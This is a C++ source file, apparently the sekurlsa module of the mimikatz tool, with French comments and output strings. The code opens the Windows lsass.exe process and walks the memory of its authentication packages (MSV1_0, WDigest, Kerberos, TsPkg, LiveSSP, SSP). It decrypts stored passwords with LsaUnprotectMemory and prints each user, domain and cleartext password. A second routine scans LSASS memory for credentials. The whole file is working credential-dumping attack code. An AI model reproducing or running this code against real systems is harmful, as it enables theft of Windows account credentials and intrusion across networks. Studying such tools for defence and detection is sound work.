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/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by/3.0/fr/
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "mod_mimikatz_sekurlsa.h"
#include "..\global.h"
HMODULE mod_mimikatz_sekurlsa::hLsaSrv = NULL;
HANDLE mod_mimikatz_sekurlsa::hLSASS = NULL;
mod_process::KIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa::localLSASRV, *mod_mimikatz_sekurlsa::pModLSASRV = NULL;
PLSA_SECPKG_FUNCTION_TABLE mod_mimikatz_sekurlsa::SeckPkgFunctionTable = NULL;
bool mod_mimikatz_sekurlsa::lsassOK = false;
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> mod_mimikatz_sekurlsa::GLOB_ALL_Providers;
vector<mod_mimikatz_sekurlsa::KIWI_MODULE_PKG_LSA> mod_mimikatz_sekurlsa::mesModules;
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_sekurlsa::getMimiKatzCommands()
{
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_msv1_0::getMSV, L"msv", L"énumère les sessions courantes du provider MSV1_0"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_wdigest::getWDigest, L"wdigest", L"énumère les sessions courantes du provider WDigest"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_kerberos::getKerberos, L"kerberos",L"énumère les sessions courantes du provider Kerberos"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_tspkg::getTsPkg, L"tspkg", L"énumère les sessions courantes du provider TsPkg"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_livessp::getLiveSSP, L"livessp", L"énumère les sessions courantes du provider LiveSSP"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_ssp::getSSP, L"ssp", L"énumère les sessions courantes du provider SSP (msv1_0)"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(getLogonPasswords, L"logonPasswords", L"énumère les sessions courantes des providers disponibles"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(searchPasswords, L"searchPasswords", L"rechere directement dans les segments mémoire de LSASS des mots de passes"));
return monVector;
}
bool mod_mimikatz_sekurlsa::getLogonPasswords(vector<wstring> * arguments)
{
if(searchLSASSDatas())
getLogonData(arguments, &GLOB_ALL_Providers);
else
(*outputStream) << L"Données LSASS en erreur" << endl;
return true;
}
bool mod_mimikatz_sekurlsa::loadLsaSrv()
{
if(!hLsaSrv)
hLsaSrv = LoadLibrary(L"lsasrv");
if(mesModules.empty())
{
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"lsasrv.dll", L"msv1_0", mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData, &pModLSASRV));
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"tspkg.dll", L"tspkg", mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData, &mod_mimikatz_sekurlsa_tspkg::pModTSPKG));
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"wdigest.dll", L"wdigest", mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData, &mod_mimikatz_sekurlsa_wdigest::pModWDIGEST));
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"kerberos.dll", L"kerberos", mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData, &mod_mimikatz_sekurlsa_kerberos::pModKERBEROS));
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"msv1_0.dll", L"ssp", mod_mimikatz_sekurlsa_ssp::getSSPLogonData, &mod_mimikatz_sekurlsa_ssp::pModMSV));
if(mod_system::GLOB_Version.dwBuildNumber >= 8000)
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"livessp.dll",L"livessp", mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData, &mod_mimikatz_sekurlsa_livessp::pModLIVESSP));
}
return (hLsaSrv != NULL);
}
bool mod_mimikatz_sekurlsa::unloadLsaSrv()
{
for(vector<KIWI_MODULE_PKG_LSA>::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++)
if(*testModule->pModuleEntry)
delete *testModule->pModuleEntry;
if(mod_system::GLOB_Version.dwMajorVersion < 6)
mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData();
else
mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData();
if(hLSASS)
CloseHandle(hLSASS);
if(hLsaSrv)
FreeLibrary(hLsaSrv);
return true;
}
bool mod_mimikatz_sekurlsa::searchLSASSDatas()
{
if(!lsassOK)
{
if(!hLSASS)
{
mod_process::KIWI_PROCESSENTRY32 monProcess;
wstring processName = L"lsass.exe";
if(mod_process::getUniqueForName(&monProcess, &processName))
{
if(hLSASS = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, monProcess.th32ProcessID))
{
vector<mod_process::KIWI_VERY_BASIC_MODULEENTRY> monVecteurModules;
if(mod_process::getVeryBasicModulesListForProcess(&monVecteurModules, hLSASS))
{
for(vector<mod_process::KIWI_VERY_BASIC_MODULEENTRY>::iterator leModule = monVecteurModules.begin(); leModule != monVecteurModules.end(); leModule++)
{
for(vector<KIWI_MODULE_PKG_LSA>::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++)
{
if((_wcsicmp(leModule->szModule.c_str(), testModule->moduleName) == 0) && !(*testModule->pModuleEntry))
{
GLOB_ALL_Providers.push_back(make_pair<PFN_ENUM_BY_LUID, wstring>(testModule->enumFunc, testModule->simpleName/*wstring(L"msv1_0")*/));
*testModule->pModuleEntry = new mod_process::KIWI_VERY_BASIC_MODULEENTRY(*leModule);
break;
}
}
}
} else {
(*outputStream) << L"mod_process::getVeryBasicModulesListForProcess : " << mod_system::getWinError() << endl;
CloseHandle(hLSASS);
hLSASS = NULL;
}
} else (*outputStream) << L"OpenProcess : " << mod_system::getWinError() << endl;
} else (*outputStream) << L"mod_process::getUniqueForName : " << mod_system::getWinError() << endl;
}
if(hLSASS)
{
MODULEINFO mesInfos;
if(GetModuleInformation(GetCurrentProcess(), hLsaSrv, &mesInfos, sizeof(MODULEINFO)))
{
localLSASRV.modBaseAddr = reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
localLSASRV.modBaseSize = mesInfos.SizeOfImage;
if(!SeckPkgFunctionTable)
{
struct {PVOID LsaIRegisterNotification; PVOID LsaICancelNotification;} extractPkgFunctionTable = {GetProcAddress(hLsaSrv, "LsaIRegisterNotification"), GetProcAddress(hLsaSrv, "LsaICancelNotification")};
if(extractPkgFunctionTable.LsaIRegisterNotification && extractPkgFunctionTable.LsaICancelNotification)
mod_memory::genericPatternSearch(reinterpret_cast<PBYTE *>(&SeckPkgFunctionTable), L"lsasrv", reinterpret_cast<PBYTE>(&extractPkgFunctionTable), sizeof(extractPkgFunctionTable), - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification), NULL, true, true);
}
lsassOK = (mod_system::GLOB_Version.dwMajorVersion < 6) ? mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData() : mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData();
}
}
}
return lsassOK;
}
PLIST_ENTRY mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind)
{
PLIST_ENTRY resultat = NULL;
BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)];
PLIST_ENTRY pStruct = NULL;
if(mod_memory::readMemory(pSecurityStruct, &pStruct, sizeof(pStruct), hLSASS))
{
while(pStruct != pSecurityStruct)
{
if(mod_memory::readMemory(pStruct, monBuffer, LUIDoffset + sizeof(LUID), hLSASS))
{
if(RtlEqualLuid(luidToFind, reinterpret_cast<PLUID>(reinterpret_cast<PBYTE>(monBuffer) + LUIDoffset)))
{
resultat = pStruct;
break;
}
} else break;
pStruct = reinterpret_cast<PLIST_ENTRY>(monBuffer)->Flink;
}
}
delete [] monBuffer;
return resultat;
}
PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind)
{
PVOID resultat = NULL;
RTL_AVL_TABLE maTable;
if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS))
resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind);
return resultat;
}
PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind)
{
PVOID resultat = NULL;
RTL_AVL_TABLE maTable;
if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS))
{
if(maTable.OrderedPointer)
{
BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)];
if(mod_memory::readMemory(maTable.OrderedPointer, monBuffer, LUIDoffset + sizeof(LUID), hLSASS))
{
if(RtlEqualLuid(luidToFind, reinterpret_cast<PLUID>(reinterpret_cast<PBYTE>(monBuffer) + LUIDoffset)))
resultat = maTable.OrderedPointer;
}
delete [] monBuffer;
}
if(!resultat && maTable.BalancedRoot.LeftChild)
resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.LeftChild), LUIDoffset, luidToFind);
if(!resultat && maTable.BalancedRoot.RightChild)
resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind);
}
return resultat;
}
void mod_mimikatz_sekurlsa::genericCredsToStream(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, bool justSecurity, bool isDomainFirst, PDWORD pos)
{
if(mesCreds)
{
if(mesCreds->Password.Buffer || mesCreds->UserName.Buffer || mesCreds->Domaine.Buffer)
{
wstring userName = mod_process::getUnicodeStringOfProcess(&mesCreds->UserName, hLSASS);
wstring domainName = mod_process::getUnicodeStringOfProcess(&mesCreds->Domaine, hLSASS);
wstring password = mod_process::getUnicodeStringOfProcess(&mesCreds->Password, hLSASS, SeckPkgFunctionTable->LsaUnprotectMemory);
wstring rUserName = (isDomainFirst ? domainName : userName);
wstring rDomainName = (isDomainFirst ? userName : domainName);
if(justSecurity)
{
if(!pos)
(*outputStream) << password;
else
(*outputStream) << endl <<
L"\t [" << *pos << L"] { " << rUserName << L" ; " << rDomainName << L" ; " << password << L" }";
}
else
{
if(!pos)
(*outputStream) << endl <<
L"\t * Utilisateur : " << rUserName << endl <<
L"\t * Domaine : " << rDomainName << endl <<
L"\t * Mot de passe : " << password;
else
(*outputStream) << endl <<
L"\t * [" << *pos << L"] Utilisateur : " << rUserName << endl <<
L"\t Domaine : " << rDomainName << endl <<
L"\t Mot de passe : " << password;
}
}
} else (*outputStream) << L"n.t. (LUID KO)";
}
bool mod_mimikatz_sekurlsa::getLogonData(vector<wstring> * mesArguments, vector<pair<PFN_ENUM_BY_LUID, wstring>> * mesProviders)
{
PLUID sessions;
ULONG count;
if (NT_SUCCESS(LsaEnumerateLogonSessions(&count, &sessions)))
{
for (ULONG i = 0; i < count ; i++)
{
PSECURITY_LOGON_SESSION_DATA sessionData = NULL;
if(NT_SUCCESS(LsaGetLogonSessionData(&sessions[i], &sessionData)))
{
if(sessionData->LogonType != Network)
{
(*outputStream) << endl <<
L"Authentification Id : " << sessions[i].HighPart << L";" << sessions[i].LowPart << endl <<
L"Package d\'authentification : " << mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << endl <<
L"Utilisateur principal : " << mod_text::stringOfSTRING(sessionData->UserName) << endl <<
L"Domaine d\'authentification : " << mod_text::stringOfSTRING(sessionData->LogonDomain) << endl;
for(vector<pair<PFN_ENUM_BY_LUID, wstring>>::iterator monProvider = mesProviders->begin(); monProvider != mesProviders->end(); monProvider++)
{
(*outputStream) << L'\t' << monProvider->second << (mesArguments->empty() ? (L" :") : (L"")) << L'\t';
monProvider->first(&sessions[i], mesArguments->empty());
(*outputStream) << endl;
}
}
LsaFreeReturnBuffer(sessionData);
}
else (*outputStream) << L"Erreur : Impossible d\'obtenir les données de session" << endl;
}
LsaFreeReturnBuffer(sessions);
}
else (*outputStream) << L"Erreur : Impossible d\'énumerer les sessions courantes" << endl;
return true;
}
bool mod_mimikatz_sekurlsa::ressembleString(PUNICODE_STRING maChaine, wstring * dstChaine, BYTE **buffer)
{
bool resultat = false;
BYTE * monBuffer = NULL;
PBYTE * leBuffer = buffer ? buffer : &monBuffer;
if(mod_process::getUnicodeStringOfProcess(maChaine, leBuffer, hLSASS))
{
int flags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS;
if(resultat = (IsTextUnicode(*leBuffer, maChaine->Length, &flags) != 0))
{
if(dstChaine)
dstChaine->assign(reinterpret_cast<const wchar_t *>(*leBuffer), maChaine->Length / sizeof(wchar_t));
}
}
if(monBuffer)
delete[] monBuffer;
return resultat;
}
bool mod_mimikatz_sekurlsa::searchPasswords(vector<wstring> * arguments)
{
if(searchLSASSDatas())
{
if(PNT_QUERY_SYSTEM_INFORMATION NtQuerySystemInformation = reinterpret_cast<PNT_QUERY_SYSTEM_INFORMATION>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation")))
{
#ifdef _M_X64
PBYTE MmSystemRangeStart = reinterpret_cast<PBYTE>(0xffff080000000000);
#elif defined _M_IX86
PBYTE MmSystemRangeStart = reinterpret_cast<PBYTE>(0x80000000);
#endif
ULONG maTaille = 0;
NtQuerySystemInformation(KIWI_SystemMmSystemRangeStart, &MmSystemRangeStart, sizeof(PBYTE), &maTaille);
DWORD nbPossible = 0;
for(PBYTE pMemoire = 0; pMemoire < MmSystemRangeStart ; )
{
MEMORY_BASIC_INFORMATION mesInfos;
if(VirtualQueryEx(hLSASS, pMemoire, &mesInfos, sizeof(MEMORY_BASIC_INFORMATION)) > 0)
{
if((mesInfos.Protect & PAGE_READWRITE) && !(mesInfos.Protect & PAGE_GUARD) && (mesInfos.Type == MEM_PRIVATE))
{
UNICODE_STRING donnees[3];
for(PBYTE pZone = reinterpret_cast<PBYTE>(mesInfos.BaseAddress); pZone < (reinterpret_cast<PBYTE>(mesInfos.BaseAddress) + mesInfos.RegionSize - 3*sizeof(UNICODE_STRING)); pZone += sizeof(DWORD))
{
if(mod_memory::readMemory(pZone, donnees, 3*sizeof(UNICODE_STRING), hLSASS))
{
if(
(donnees[0].Length && !((donnees[0].Length & 1) || (donnees[0].MaximumLength & 1)) && (donnees[0].Length < sizeof(wchar_t)*0xff) && (donnees[0].Length <= donnees[0].MaximumLength) && donnees[0].Buffer) &&
(donnees[1].Length && !((donnees[1].Length & 1) || (donnees[1].MaximumLength & 1)) && (donnees[1].Length < sizeof(wchar_t)*0xff) && (donnees[1].Length <= donnees[1].MaximumLength) && donnees[1].Buffer) &&
(donnees[2].Length && !((donnees[2].Length & 1) || (donnees[2].MaximumLength & 1)) && (donnees[2].Length < sizeof(wchar_t)*0xff) && (donnees[2].Length <= donnees[2].MaximumLength) && donnees[2].Buffer)
)
{
wstring user, domain, password;
BYTE * bPassword = NULL;
if(ressembleString(&donnees[0], &user) && ressembleString(&donnees[1], &domain) && !ressembleString(&donnees[2], NULL, &bPassword))
{
if(bPassword)
{
mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(bPassword, donnees[2].MaximumLength);
password.assign(mod_text::stringOrHex(bPassword, donnees[2].Length, 0, false));
}
(*outputStream) << L"[" << nbPossible++ << L"] { " << user << L" ; " << domain << L" ; " << password << L" }" << endl;
}
if(bPassword)
delete[] bPassword;
}
}
}
}
pMemoire += mesInfos.RegionSize;
}
else break;
}
}
}
else (*outputStream) << L"Données LSASS en erreur" << endl;
return true;
}
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